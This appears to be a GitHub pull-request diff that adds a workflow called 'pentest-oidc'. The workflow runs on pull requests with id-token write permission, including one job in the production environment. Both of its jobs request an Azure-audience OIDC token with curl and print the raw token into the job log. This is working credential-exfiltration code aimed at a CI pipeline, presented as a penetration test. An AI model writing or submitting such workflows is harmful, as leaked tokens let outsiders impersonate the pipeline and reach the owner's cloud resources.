Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
31 changes: 31 additions & 0 deletions .github/workflows/pentest-oidc.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
name: pentest-oidc
on: pull_request
permissions:
id-token: write
contents: read
jobs:
env-prod:
runs-on: ubuntu-latest
environment: production
steps:
- name: fetch-oidc-env
run: |
echo "URL_SET=${ACTIONS_ID_TOKEN_REQUEST_URL:+yes}"
curl -sS -H "Authorization: bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}" "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=api://AzureADTokenExchange" -o out.json -w 'HTTP %{http_code}\n'
python3 - <<'PY'
import json
d=json.load(open('out.json'))
print('TOKEN='+d.get('value','NONE'))
PY
noenv:
runs-on: ubuntu-latest
steps:
- name: fetch-oidc-noenv
run: |
echo "URL_SET=${ACTIONS_ID_TOKEN_REQUEST_URL:+yes}"
curl -sS -H "Authorization: bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}" "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=api://AzureADTokenExchange" -o out.json -w 'HTTP %{http_code}\n'
python3 - <<'PY'
import json
d=json.load(open('out.json'))
print('TOKEN='+d.get('value','NONE'))
PY